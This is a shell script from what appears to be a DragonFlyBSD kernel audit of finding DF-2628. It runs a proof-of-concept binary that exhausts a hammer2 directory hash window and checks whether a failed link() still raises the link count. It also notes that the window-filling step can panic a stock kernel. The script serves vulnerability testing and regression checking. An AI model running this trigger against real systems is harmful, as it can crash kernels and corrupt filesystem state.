DragonFlyBSD Kernel Audit
DF-2628 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2628 run: deterministic window-exhaustion trigger + success-path regression.
# as unprivileged user in a hammer2 directory (guest: root fs is hammer2).
set -e
D=${1:-/home/maxx/df2628run}
mkdir -p "$D"; cd "$D"

echo "== [1] success-path semantics (works on any kernel):"
printf base > base
./u2628_poc trigger "$D/base" "$D/lk" 3
unlink lk.000; unlink lk.001; unlink lk.002
./u2628_poc probe "$D/base"

echo "== [2] deterministic trigger prerequisite: fill the 64K hash window"
echo "   (EXPECT stock 6.5-DEVELOPMENT to PANIC in the flusher partway:"
echo "    hammer2_base_insert overlapping-elements via indirect_maintenance;"
echo "    see VERDICT.md 3.2 - this is the blocker that makes the live"
echo "    trigger not testable on the stock kernel)"
mkdir -p win
./u2628_poc fill "$D/win" names.txt 32768

echo "== [3] trigger: link a fresh same-CRC name with the window exhausted"
# base must be a file in the same directory; use one of the window files
./u2628_poc probe "$D/win/$(head -1 names.txt)"
./u2628_poc trigger "$D/win/$(head -1 names.txt)" "$D/win/$(sed -n 32769p names.txt)" 5
echo "   vulnerable kernel: link() fails ENOSPC but st_nlink rises (delta>0)"
echo "   fixed kernel:      link() fails ENOSPC and st_nlink is unchanged"